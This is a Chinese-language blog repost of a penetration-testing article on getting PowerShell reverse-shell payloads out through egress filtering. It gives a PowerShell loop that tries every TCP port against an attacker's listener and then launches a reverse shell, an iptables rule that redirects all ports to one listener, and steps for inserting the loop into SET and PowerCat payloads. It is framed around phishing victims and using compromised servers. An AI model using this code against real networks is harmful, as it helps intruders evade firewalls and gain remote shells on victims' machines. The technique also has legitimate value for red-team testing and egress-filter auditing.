写点什么

PowerShell 载荷添加出口暴力破解技术

作者:qife122
  • 2025-09-03
    福建
  • 本文字数:1710 字

    阅读完需:约 6 分钟

为 PowerShell 载荷添加出口暴力破解功能

作者:Robert Schwass


我们都经历过这种情况:精心制作了完美的钓鱼邮件,注册了优质域名,多功能处理器设置得天衣无缝。然后等待却毫无结果。出口数据包过滤摧毁了所有努力。


虽然存在专门针对此类情况的载荷和监听器,且通常效果良好,但像我这样的人总希望拥有更多选择。PowerShell 最近成了我的主要工具,因此我决定编写几行脚本,允许我尝试所有端口直到找到开放的监听端口,并在载荷中使用该端口。


# 设置监听器主机地址$address = "your_listener_ip"$ports = 1..65535$wait = 2000  # 超时时间,可根据需要调整
foreach ($port in $ports) { try { $client = New-Object System.Net.Sockets.TCPClient $connection = $client.BeginConnect($address, $port, $null, $null) if ($connection.AsyncWaitHandle.WaitOne($wait, $false)) { $client.EndConnect($connection) # 找到开放端口后执行反向Shell # 在此插入您的PowerShell反向TCP载荷 break } } catch { # 端口关闭,继续尝试 }}
复制代码


确保设置您自己的监听器主机地址,同时注意$wait变量设置了 2000 毫秒超时,可以增加该值以确保客户端和服务器之间有足够时间,但会增加遍历所有端口的时间,请根据需要调整。

服务器端配置

在服务器端,我希望拥有同样多的选择。无论使用何种监听器(Metasploit multi/handler 或各种 cat 工具:nc、ncat、PowerCat、gcat、dnscat 等),我都需要一个能处理任何端口反向 Shell 的解决方案。IPTables 来救援!这一行命令将所有 65k 及以上端口转发到我选择的端口(本例中为 4444):


iptables -t nat -A PREROUTING -p tcp --dport 1:65535 -j REDIRECT --to-port 4444
复制代码


设置 IPTables 后,启动 Metasploit 反向 TCP 监听器。记住使用您在 iptables 命令中指定的端口(4444)。

集成到现有载荷

将第一段代码放在您最喜欢的 PowerShell 反向 TCP 载荷前面。我使用社会工程学工具包(SET)生成我的载荷。只需修改代码以使用在出口循环中设置的 IP 地址($address = $Computername),并注释掉下面设置端口的行,因为我已经在出口循环中设置了名为$port的变量。


观察运行中的 PowerShell,当它击中端口 25 时(这是到监听器的第一个开放端口)会触发 Shell。

这并不新奇

我知道 Metasploit 有一个multi/shell/reverse_tcp_allports载荷可以监听所有端口。但正如我所说,我们需要灵活性。我们并不总是能使用花哨的 Metasploit 反向 TCP 监听器。也许您获得了 DMZ 中旧未使用开发 Web 服务器的 root 访问权限,并想将其作为载荷的着陆点?通常存在限制,阻碍安装所有专业工具。或许您攻陷的盒子已经运行了 ncat,因为用户随 Nmap 安装了它。无论什么原因无法使用multi/shell/reverse_tcp_allports载荷,这种技术都可能有所帮助。

PowerCat 载荷的相同概念

我启动并运行了 PowerCat,生成一个载荷。


这会输出大量代码,但在底部有主函数的执行。这似乎是放置一些变量的好地方。


因此我将循环放在调用 Main 函数的上方,以便在其他所有内容之前执行。并将函数调用中的 IP 地址和端口号更改为我循环中的相应变量。(PowerCat 载荷不喜欢 PS ISE,所以我使用了 Notepad++)


我将此脚本保存为 payload.ps1 并启动我的持久 netcat 监听器。再次使用端口 4444。我们必须保持持久性,因为载荷会击中端口两次并会杀死监听器。


然后我执行 payload.ps1。


一旦它击中端口 25(第一个开放端口)……成功!

结论

就这样。几行 PowerShell 代码和一些 iptables 规则,您就有了一种可能暴力破解某些试图阻止出口流量的网络的方法。如果您花时间将代码放到系统上,为什么不添加几行代码来增加获取 Shell 的机会?即使您能使用 Metasploit Multi/Handler 监听器的 allports 变体,向 PowerShell 载荷添加简单循环也能大大增加成功几率。

研究限制

我在使用 REJECT 和 DROP 数据包的 iptables 上测试了这种方法,它有效。在企业防火墙后面,您可能会体验到不同的结果。


还有其他方法可以使用 PowerShell 测试开放端口。在我的研究中,我使用的方法允许我进行带超时的完整连接,这似乎效果最好。更多精彩内容 请关注我的个人公众号 公众号(办公 AI 智能小助手)公众号二维码


办公AI智能小助手


用户头像

qife122

关注

还未添加个人签名 2021-05-19 加入

还未添加个人简介

评论

发布
暂无评论
PowerShell载荷添加出口暴力破解技术_PowerShell_qife122_InfoQ写作社区